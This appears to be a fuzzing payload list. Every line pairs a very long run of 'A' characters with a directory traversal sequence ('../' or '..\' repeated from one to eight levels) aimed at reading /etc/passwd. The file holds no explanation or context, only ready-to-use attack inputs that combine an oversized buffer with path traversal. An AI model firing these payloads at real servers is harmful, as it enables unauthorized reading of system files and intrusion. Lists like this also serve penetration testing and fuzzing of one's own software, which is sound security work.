AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../..//etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../..//etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../..//etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../..//etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../..//etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../..//etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\/etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\/etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\/etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\/etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\/etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\/etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\/etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\..\/etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/..//etc/passwd
